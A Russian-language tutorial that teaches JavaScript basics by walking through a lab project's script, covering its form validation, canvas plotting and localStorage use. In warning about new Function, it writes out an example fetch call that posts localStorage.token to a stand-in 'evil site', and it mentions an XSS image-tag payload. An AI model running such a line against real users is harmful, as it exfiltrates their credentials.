40 KiB
Гайд по JavaScript на примере этого проекта
Этот гайд объясняет синтаксис JS и то, как работает именно script.js из Лабораторной №1.
Всё по порядку: сначала базовый синтаксис, потом разбор проекта блок за блоком.
0. Как вообще всё запускается
В index.html в самом конце есть строка:
<script src="script.js"></script>
Это значит:
- Браузер читает HTML сверху вниз и строит DOM — дерево объектов из твоих тегов.
- Доходит до
<script>в конце<body>— все теги уже существуют. - Загружает
script.jsи выполняет его сверху вниз, как список инструкций.
Именно поэтому скрипт подключён в конце, а не в <head>: код в первой строке
document.getElementById('graphCanvas') сразу ищет <canvas>, и тег обязан
уже быть в DOM. Если бы <script> стоял в <head>, то canvas был бы null
и всё упало бы на второй строке.
Где смотреть ошибки: F12 → вкладка Console. Там же можно писать JS руками —
например, напечатай history и увидишь текущий массив истории.
1. Переменные: const, let, (и var — не используй)
const canvas = document.getElementById('graphCanvas'); // нельзя переприсвоить
let history = []; // можно переприсвоить
| Ключевое слово | Переприсвоение | Где живёт |
|---|---|---|
const |
❌ запрещено | внутри { }, где объявлена |
let |
✅ разрешено | внутри { }, где объявлена |
var |
✅ разрешено | во всей функции (устаревшее, путает) |
Важный нюанс, который многих ломает: const запрещает переприсвоить саму
переменную, но не запрещает менять содержимое объекта или массива.
const arr = [];
arr.push(1); // ✅ можно — массив тот же, просто внутри стало больше
arr = [1, 2]; // ❌ ошибка — пытаемся подсунуть другой массив
В проекте history объявлена через let, потому что при очистке её заменяют
целиком:
history = []; // строка 51 — вот из-за этого нужен let
⚠️ Кстати,
history— неудачное имя: в браузере уже есть глобальныйwindow.history(кнопки «назад/вперёд»). Здесь локальная переменная его перекрывает. Работает, но в своём коде лучше назватьrecordsилиhits.
2. Типы данных
В JS всего несколько базовых типов, с которыми ты тут встретишься:
const num = 2.5; // number — одно число на все случаи (целые и дробные)
const str = 'Попадание'; // string — строка
const bool = true; // boolean — true / false
const nothing = null; // «осознанно пусто»
let notSet; // undefined — «значение не задано»
Два особых значения, которые встречаются в коде:
NaN(«Not a Number») — результат неудачной математики.Number('абв')даётNaN. Проверяется только функциейisNaN(x), потому чтоNaN === NaN— этоfalse.nullvsundefined:getElementByIdвернётnull, если элемента нет.undefined— если переменную объявили, но не присвоили.
Массив
Упорядоченный список. Нумерация с нуля.
const validR = [1, 2, 3, 4, 5];
validR[0]; // 1
validR.length; // 5
validR.includes(3); // true — «есть ли такой элемент?»
includes в проекте используется для проверки допустимых значений:
if (![1, 2, 3, 4, 5].includes(rec.r)) return false;
Объект
Набор пар «ключ: значение». Так в проекте хранится одна проверка точки:
const rec = {
x: 1,
y: 2.5,
r: 3,
hit: true,
time: '20 октября 2026 г., 14:30:00'
};
rec.x; // 1 — доступ через точку
rec['x']; // 1 — то же самое, если имя ключа в переменной
rec.hit = false; // изменение
3. Операторы и сравнения
x + y // сложение (для строк — склейка: 'a' + 'b' === 'ab')
x * x // умножение
x / 2 // деление
x ** 2 // возведение в степень
=== против ==
Всегда используй ===. Он сравнивает и значение, и тип.
'2' == 2 // true — == тайно приводит типы, это источник багов
'2' === 2 // false — разные типы, честный ответ
2 === 2 // true
!== — «не равно» в строгом виде. В проекте: rec.y !== 81.
Логика
a && b // И — оба true
a || b // ИЛИ — хотя бы один true
!a // НЕ — переворачивает
Пример из validateY — проверка, что Y вне диапазона и это не пасхалка:
if ((y < -3 || y > 5) && y !== 81) { ... }
Читается так: «если (Y меньше −3 ИЛИ больше 5) И при этом Y не равен 81». Скобки обязательны, иначе приоритет операторов даст другой смысл.
Truthy / falsy
if принимает не только true/false, а любое значение и превращает его в
логическое. Falsy (считаются «ложью»): false, 0, '', null,
undefined, NaN. Всё остальное — truthy.
if (!currentR) { ... } // строка 109: «если R не выбран»
Работает потому, что currentR изначально null. Но осторожно: 0 тоже falsy.
Здесь это безопасно только потому, что R всегда от 1 до 5. Будь в наборе R = 0 —
код бы ошибочно считал его «не выбранным». Правильнее было бы
if (currentR === null).
Тернарный оператор
Короткая запись if/else, которая возвращает значение:
условие ? значение_если_да : значение_если_нет
Из drawGraph:
const R_PIXELS = currentR ? (100 * currentR / 3) : 100;
ctx.fillStyle = rec.hit ? '#4CAF50' : '#F44336';
4. Функции
Три записи, все три есть в проекте.
Обычное объявление
function checkHit(x, y, r) {
return true;
}
x, y, r — параметры. return отдаёт результат и немедленно выходит из
функции. Такие функции «всплывают» (hoisting): их можно вызвать до строки, где
они объявлены. Поэтому в проекте drawGraph() вызывается на строке 54, хотя
объявлена она на 352-й — и это работает.
Параметр по умолчанию
function validateY(showErrors = false) { ... }
Если вызвать validateY() — внутри showErrors будет false.
Если validateY(true) — будет true.
Это ключевая идея валидации в проекте: одна и та же функция и молча проверяет форму при каждом нажатии клавиши, и громко показывает ошибки при отправке.
Стрелочная функция
() => { ... } // без аргументов
(x, y, r) => func(x, y, r, r) // короткая форма: return подразумевается
btn => btn.value // один аргумент — скобки можно опустить
Короткая форма без { } возвращает результат выражения автоматически.
Эти две записи идентичны:
(a, b) => a + b
(a, b) => { return a + b; }
Стрелочные функции в проекте используются там, где функция передаётся
куда-то как аргумент — в обработчики событий и в forEach.
5. Поиск элементов и работа с DOM
document.getElementById('y-input') // ОДИН элемент по id, или null
document.querySelectorAll('.r-button') // ВСЕ по CSS-селектору
document.querySelectorAll('input[name="xval"]') // все чекбоксы X
querySelectorAll принимает любой CSS-селектор и возвращает NodeList —
похож на массив, можно перебирать forEach и брать .length.
Чтение и запись
yInput.value // что пользователь ввёл (всегда СТРОКА!)
cb.checked // true/false для чекбокса
yError.textContent = 'Ошибка' // текст внутри элемента (безопасно)
tr.innerHTML = '<td>1</td>' // HTML внутри элемента (парсится как разметка)
submitBtn.disabled = true // отключить кнопку
btn.getAttribute('data-val') // прочитать любой атрибут, тоже строка
Главная ловушка: input.value — это всегда строка, даже у type="number".
Поэтому в коде везде стоит преобразование:
const y = parseFloat(yInput.value.trim().replace(',', '.'));
Разбираем цепочку справа налево по порядку вызовов:
.value→" 2,5 "(строка как есть).trim()→"2,5"(убрали пробелы по краям).replace(',', '.')→"2.5"(русская запятая → точка, JS понимает только точку)parseFloat(...)→2.5(число)
Это цепочка методов: каждый возвращает новое значение, у которого сразу вызывается следующий метод.
parseFloat vs Number
Number('2.5abc') // NaN — строгий, вся строка должна быть числом
parseFloat('2.5abc') // 2.5 — читает с начала, пока получается
Number('') // 0 (!) — коварно
В validateY стоит Number, потому что там нужна строгость: «буквы
недопустимы». А после успешной валидации уже можно parseFloat — значение
проверено.
Классы и стили
btn.classList.add('active'); // добавить CSS-класс
btn.classList.remove('active'); // убрать
CSS в index.html уже описывает, как выглядит .r-button.active (серый фон,
белый текст). JS только переключает класс — внешний вид остаётся в CSS.
Это правильный подход: не трогать стили из JS напрямую.
6. Циклы и перебор
forEach — основной инструмент проекта
rButtons.forEach(btn => {
// здесь btn — каждая кнопка по очереди
});
forEach принимает функцию и вызывает её для каждого элемента. Ничего не
возвращает — используется ради побочных действий (навесить обработчик,
нарисовать точку, положить запись в массив).
filter — отбор
history = rawData.filter(rec => {
if (typeof rec !== 'object') return false; // выбросить
return true; // оставить
});
Возвращает новый массив только из тех элементов, для которых функция вернула truthy. Исходный массив не меняется.
Обычный for — когда нужны индексы
В drawGraph рисование пользовательской функции идёт попиксельно, и нужны
именно номера пикселей:
for (let py = 0; py < height; py++) {
for (let px = 0; px < width; px++) {
// ...
}
}
Три части: let py = 0 — старт; py < height — условие продолжения;
py++ — шаг (py++ это то же, что py = py + 1).
Вложенный цикл = 300 × 300 = 90 000 итераций на каждую перерисовку.
Spread ... — копия массива
[...history].reverse()
reverse() переворачивает массив на месте, портя оригинал. [...history]
сначала создаёт поверхностную копию, и переворачивается уже она. Так таблица
показывает новые записи сверху, а сам history остаётся в порядке добавления —
что важно, потому что именно в этом порядке он уходит в localStorage.
7. События — как код реагирует на пользователя
Весь интерактив строится на одной конструкции:
элемент.addEventListener('событие', функция);
«Когда на этом элементе случится такое событие — вызови эту функцию».
Какие события используются в проекте:
| Событие | Где | Когда срабатывает |
|---|---|---|
DOMContentLoaded |
window, стр. 47 |
HTML разобран, DOM готов |
click |
кнопки R, «Отрисовать», «Очистить» | нажатие |
change |
чекбоксы X | галочка поставлена/снята |
input |
поля Y и функции | каждый введённый символ |
submit |
<form> |
отправка формы |
Разбор обработчика кнопок R (строки 62–74)
rButtons.forEach(btn => {
btn.addEventListener('click', () => {
rButtons.forEach(b => b.classList.remove('active')); // снять выделение со всех
btn.classList.add('active'); // выделить нажатую
rHidden.value = btn.getAttribute('data-val'); // записать в скрытое поле
currentR = parseFloat(rHidden.value); // и в переменную как число
if (formSubmitted) rError.textContent = ''; // стереть старую ошибку
validateForm();
drawGraph();
});
});
Здесь два уровня вложенности, и это стоит понять:
- Внешний
forEachвыполняется один раз при загрузке и навешивает обработчик на каждую из 5 кнопок. - Внутренняя стрелочная функция выполняется позже, при каждом клике.
Внутренняя функция «помнит» переменную btn своей кнопки, хотя внешний цикл
давно закончился. Это называется замыкание (closure) — функция сохраняет
доступ к переменным того места, где была создана. Работает это потому, что btn
объявлена через let/параметр: у каждой итерации своя копия. С var все пять
обработчиков ссылались бы на одну переменную и ломались — классический баг.
submit и preventDefault
form.addEventListener('submit', (e) => {
e.preventDefault();
// ...
});
e — объект события, браузер передаёт его автоматически.
e.preventDefault() отменяет стандартное поведение: по умолчанию форма
перезагрузила бы страницу и всё состояние потерялось бы. Без этой строки
приложение не работало бы вообще.
8. try / catch — работа с тем, что может сломаться
try {
const rawData = JSON.parse(localStorage.getItem(STORAGE_KEY));
// ...
} catch (e) {
history = [];
}
Логика: «попробуй выполнить блок try; если внутри произойдёт ошибка — не
падай, а перейди в catch». e — объект ошибки, у него есть e.message
с текстом.
Ошибку можно создать самому:
throw new Error('Недопустимые символы в функции');
throw прерывает функцию и «выбрасывает» ошибку наружу, где её поймает
ближайший catch. Так устроен parseFunction: он не возвращает код ошибки,
а бросает исключение, а вызывающий код решает, что делать:
try {
customFunction = parseFunction(funcStr);
funcError.textContent = '';
drawGraph();
} catch (e) {
funcError.textContent = e.message; // показать текст пользователю
customFunction = null;
}
9. localStorage — сохранение между перезагрузками
Хранилище «ключ → значение» в браузере. Живёт после закрытия страницы. Хранит только строки.
localStorage.setItem('key', 'строка');
localStorage.getItem('key'); // строка или null, если ключа нет
localStorage.removeItem('key');
Чтобы положить массив объектов, его сериализуют в JSON:
localStorage.setItem(STORAGE_KEY, JSON.stringify(history)); // объект → строка
const data = JSON.parse(localStorage.getItem(STORAGE_KEY)); // строка → объект
JSON.parse бросает ошибку на испорченной строке — поэтому он обёрнут
в try/catch.
Почему данные перепроверяются
history = rawData.filter(rec => {
if (typeof rec !== 'object' || rec === null) return false;
if (![1, 2, 3, 4, 5].includes(rec.r)) return false;
// ...
});
localStorage открыт пользователю: любой может зайти в DevTools и записать
туда что угодно. Данные оттуда — недоверенный ввод, ровно как данные с
сервера. Поэтому каждая запись проверяется по полям, а битые выбрасываются.
Это правильная привычка, не паранойя.
Здесь же проявляется typeof:
typeof 5 // 'number'
typeof 'текст' // 'string'
typeof {} // 'object'
typeof null // 'object' ← историческая ошибка языка!
Из-за последней строки проверка написана как
typeof rec !== 'object' || rec === null — одного typeof не хватает.
10. Canvas — рисование графика
<canvas> — холст пикселей. Из JS берётся «контекст» — объект с командами
рисования:
const ctx = canvas.getContext('2d');
Система координат
Начало координат canvas — левый верхний угол, ось Y направлена вниз. Математическая ось Y смотрит вверх. Отсюда вся арифметика перевода:
const center = width / 2; // 150 — центр холста
let drawX = center + (rec.x / rec.r) * R_PIXELS; // + : вправо = плюс
let drawY = center - (rec.y / rec.r) * R_PIXELS; // − : вверх = МИНУС в пикселях
Деление на rec.r нормализует точку: точка (2, 2) при R = 2 и точка (5, 5) при
R = 5 нарисуются в одном месте, потому что относительно своего R они одинаковы.
Основные команды
ctx.clearRect(0, 0, width, height); // стереть всё
ctx.fillStyle = '#3399FF'; // цвет заливки
ctx.fillRect(x, y, ширина, высота); // залитый прямоугольник
ctx.beginPath(); // начать новый контур
ctx.moveTo(x, y); // перенести «перо» без линии
ctx.lineTo(x, y); // линия до точки
ctx.arc(x, y, радиус, отУгла, доУгла); // дуга, углы в РАДИАНАХ
ctx.closePath(); // замкнуть контур
ctx.fill(); // залить
ctx.strokeStyle = '#000'; // цвет линии
ctx.stroke(); // обвести
ctx.font = '12px Arial';
ctx.fillText('R', x, y); // текст
Ключевая идея: beginPath() → набор moveTo/lineTo/arc → fill() или
stroke(). Без beginPath() новые линии дорисуются к старому контуру и зальются
вместе с ним — очень частый баг.
Четверть круга:
ctx.arc(center, center, R_PIXELS, -Math.PI / 2, 0, false);
Углы в радианах: -Math.PI / 2 = −90° (верх), 0 = 0° (право). Вместе с
moveTo(center, center) и closePath() получается сектор, а не просто дуга.
Попиксельная отрисовка пользовательской функции
Фигуры варианта (прямоугольник, сектор, треугольник) можно нарисовать готовыми командами. Произвольную функцию — нельзя, её форма неизвестна. Поэтому код проверяет каждый пиксель отдельно:
const imageData = ctx.createImageData(width, height);
const data = imageData.data; // плоский массив длиной width*height*4
for (let py = 0; py < height; py++) {
for (let px = 0; px < width; px++) {
const x = ((px - center) / R_PIXELS) * currentR; // пиксель → математика
const y = ((center - py) / R_PIXELS) * currentR;
const hit = checkHit(x, y, currentR);
const index = (py * width + px) * 4; // позиция пикселя в плоском массиве
if (hit) {
data[index] = 51; // R
data[index + 1] = 153; // G
data[index + 2] = 255; // B
data[index + 3] = 255; // Alpha (прозрачность)
} else {
data[index] = 255; data[index + 1] = 255;
data[index + 2] = 255; data[index + 3] = 255;
}
}
}
ctx.putImageData(imageData, 0, 0); // вывести на холст одним разом
data — одномерный массив, где каждый пиксель занимает 4 ячейки (RGBA).
Формула (py * width + px) * 4 переводит двумерные координаты в плоский индекс:
«пропустить py полных строк, потом px пикселей, умножить на 4 байта».
11. new Function — и почему это опасно
const func = new Function('x', 'y', 'r', 'R', `return ${normalized};`);
Это создание функции из строки во время работы программы. Первые аргументы — имена параметров, последний — тело.
Здесь же используется шаблонная строка — обратные кавычки `
с подстановкой ${выражение}:
const name = 'мир';
`Привет, ${name}!` // 'Привет, мир!'
В renderHistory тем же приёмом собирается строка HTML на несколько строк —
обычные кавычки так не умеют.
В чём опасность
new Function исполняет произвольный код — как eval. Строка
fetch('http://злой.сайт', {method:'POST', body: localStorage.token}) была бы
выполнена браузером. В проекте перед этим стоит защита:
const allowedChars = /^[xyrRMathabsincoqrt.()+\-*/<>=\s\d.]+$/;
if (!allowedChars.test(normalized)) {
throw new Error('Недопустимые символы в функции');
}
Это регулярное выражение (regex) — шаблон для проверки строк:
/.../— границы регулярки^— начало строки,$— конец (значит, проверяется строка целиком)[...]— набор разрешённых символов\d— любая цифра,\s— пробел+— «один или больше таких символов»\-,\*,\/— экранирование: символы со спецсмыслом помечаются\.test(строка)→true/false
Перед этим идёт нормализация — человеческая запись переводится в JS:
const normalized = funcStr.trim()
.replace(/abs\(/g, 'Math.abs(') // abs( → Math.abs(
.replace(/sin\(/g, 'Math.sin(')
.replace(/\^/g, '**'); // ^ → ** (степень в JS)
Флаг g (global) в /abs\(/g означает «заменить все вхождения», а не только
первое.
Потом функция проверяется пробным вызовом, чтобы синтаксическая ошибка вылезла сразу, а не при отрисовке:
func(0, 0, 1, 1);
return (x, y, r) => func(x, y, r, r); // обёртка: r и R — одно и то же
Последняя строка — функция, которая возвращает функцию. Снаружи удобно звать
customFunction(x, y, r) тремя аргументами, а внутри r подставляется дважды,
чтобы работали оба написания — и r, и R.
⚠️ Честно про эту защиту: белый список символов узкий, но не идеальный — набор
[xyrRMathabsincoqrt]разрешает любые комбинации этих букв. Для лабораторной работы, которая крутится только в твоём браузере, это нормально. На настоящем сайте с чужим вводом так делать нельзя — нужен настоящий парсер математических выражений.
12. Как устроена вся логика проекта
Глобальное состояние
Четыре переменные держат всё, что программа «знает» о текущем моменте:
let history = []; // массив всех проверок
let currentR = null; // выбранный R, null пока не выбран
let formSubmitted = false; // была ли хоть одна отправка
let customFunction = null; // активная пользовательская функция
formSubmitted решает тонкую задачу UX: ошибки нельзя показывать пользователю,
который ещё ничего не отправлял — иначе пустая форма сразу краснеет. Но после
первой отправки ошибки уже показаны, и их надо гасить при правке поля:
yInput.addEventListener('input', () => {
if (formSubmitted) yError.textContent = '';
validateForm();
});
Валидация: один набор правил, два режима
validateForm(showErrors)
├── validateY(showErrors) → Y заполнен, число, в диапазоне
├── validateFunction(showErrors) → функция парсится (пустая = ок)
├── проверка R → выбран и из списка [1..5]
├── проверка X → хотя бы один и все из списка
└── submitBtn.disabled = !isValid
Вызывается в двух режимах:
validateForm()— после каждого действия. Молча включает/выключает кнопку.validateForm(true)— при отправке. Пишет текст ошибок в<span class="error">.
Паттерн «накопления» флага внутри:
let isValid = true;
if (!validateY(showErrors)) isValid = false;
if (!validateFunction(showErrors)) isValid = false;
Так проверяются все поля и показываются все ошибки сразу. Если бы вместо
этого стоял return false на первой же ошибке, пользователь видел бы их по
одной — хуже.
Отдельно стоит заметить двойную проверку R и X: сначала «выбрано ли», потом
«допустимо ли значение». Второе — защита от подмены: data-val и value
в HTML можно отредактировать через DevTools, поэтому значения сверяются с
белым списком в JS.
Проверка попадания
function checkHit(x, y, r) {
if (customFunction) { /* пользовательская функция вместо фигур */ }
if (x >= 0 && y >= 0) return (x*x + y*y) <= (r*r); // I: четверть круга
if (x <= 0 && y >= 0) return x >= -r && y <= (r/2); // II: прямоугольник
if (x <= 0 && y <= 0) return false; // III: пусто
if (x >= 0 && y <= 0) return y >= (x/2) - (r/2); // IV: треугольник
return false;
}
Здесь важен порядок: return выходит сразу, поэтому if работают как
else if. Точка (0, 0) попадает в первое же условие и дальше не идёт —
границы четвертей не конфликтуют именно из-за раннего выхода.
Треугольник: прямая через (r, 0) и (0, -r/2) имеет уравнение
y = x/2 - r/2. Точка внутри, если она выше этой прямой: y >= x/2 - r/2.
Одна и та же checkHit используется и для таблицы, и для попиксельной
отрисовки. Поэтому график всегда совпадает с результатами — нет двух
независимых реализаций, которые могли бы разойтись. Это главная архитектурная
идея проекта: правило живёт в одном месте.
Полный поток при отправке формы
1. e.preventDefault() — не перезагружать страницу
2. formSubmitted = true
3. validateForm(true) — не прошло → выход
4. y === 81? — пасхалка: показать картинку, выход
5. parseFunction(funcStr) — обновить customFunction
6. new Date().toLocaleString(...) — метка времени, одна на всю отправку
7. по каждому отмеченному X:
checkHit(x, y, r) → history.push({x, y, r, hit, time})
8. localStorage.setItem(...) — сохранить
9. renderHistory() — перерисовать таблицу
10. drawGraph() — перерисовать график
Пункт 7 — причина, по которой чекбоксы, а не радиокнопки: один submit может создать до девяти записей сразу, по одной на каждый отмеченный X.
Дата и время
new Date().toLocaleString("ru-RU", {
timeZone: Intl.DateTimeFormat().resolvedOptions().timeZone,
year: 'numeric', month: 'long', day: 'numeric',
hour: '2-digit', minute: '2-digit', second: '2-digit'
});
new Date() — текущий момент. toLocaleString форматирует его по правилам
локали: "ru-RU" даёт «20 октября 2026 г.», а не «10/20/2026».
Intl.DateTimeFormat().resolvedOptions().timeZone достаёт часовой пояс
пользователя — цепочка вызовов, где каждый шаг возвращает объект для следующего.
Рендер таблицы
function renderHistory() {
resultsBody.innerHTML = ''; // стереть всё
[...history].reverse().forEach(rec => {
const tr = document.createElement('tr'); // создать <tr>
tr.innerHTML = `
<td>${rec.x}</td>
...
`;
resultsBody.appendChild(tr); // вставить в DOM
});
}
Стратегия простая: «стереть всё и нарисовать заново». Для сотни строк это абсолютно нормально и гораздо понятнее, чем точечные обновления.
⚠️
innerHTMLс подстановкой данных — потенциальная XSS-уязвимость: если бы вrec.xпопала строка<img onerror=...>, браузер её исполнил бы. Здесь безопасно, потому что все поля прошли фильтр и гарантированно числа. Для текстовых данных нуженtextContent, который ничего не парсит.
13. Что попробовать прямо сейчас
Открой страницу, нажми F12 → Console и поэкспериментируй:
history // текущий массив проверок
history.length // сколько записей
currentR // выбранный R
checkHit(1, 1, 3) // проверить точку руками
checkHit(0, 0, 1) // граница — попадает?
currentR = 5; drawGraph(); // поменять R «мимо» кнопок
localStorage.getItem('web_lab1_history') // что лежит в хранилище
document.querySelectorAll('.r-button').length // 5
document.getElementById('y-input').value = '2' // вписать Y из консоли
Полезные упражнения для понимания:
- Закомментируй
e.preventDefault()в обработчикеsubmit— посмотри, что страница перезагружается и всё состояние теряется. - Поменяй
if (formSubmitted)наif (true)в обработчикеinputполя Y — увидишь, зачем нужен этот флаг. - Введи в поле функции
x^2 + y^2 < R^2и нажми «Отрисовать» — увидишь попиксельную отрисовку круга. - Запиши в
localStorageмусор через DevTools (Application → Local Storage) и перезагрузи — фильтр должен его отбросить, а страница не упасть.
14. Шпаргалка
// Переменные
const x = 1; let y = 2;
// Условия
if (a === b) { } else if (c) { } else { }
const r = cond ? 'да' : 'нет';
// Функции
function f(a, b = 0) { return a + b; }
const g = (a) => a * 2;
// Массивы
arr.push(x); arr.length; arr.includes(x);
arr.forEach(el => { }); arr.filter(el => cond); [...arr];
// Объекты
const o = { key: 'val' }; o.key; o.key = 'new';
// DOM
document.getElementById('id');
document.querySelectorAll('.class');
el.value; el.checked; el.textContent; el.innerHTML;
el.classList.add('x'); el.classList.remove('x');
el.addEventListener('click', () => { });
// Строки → числа
parseFloat('2.5'); Number('2.5'); isNaN(x);
str.trim(); str.replace(',', '.');
// Ошибки
try { } catch (e) { e.message }
throw new Error('текст');
// Хранилище
localStorage.setItem(k, JSON.stringify(v));
JSON.parse(localStorage.getItem(k));
// Шаблонные строки
`значение: ${x}`
Ссылки
- MDN JavaScript (рус.) — официальная документация
- learn.javascript.ru — лучший учебник на русском
- MDN Canvas API — про рисование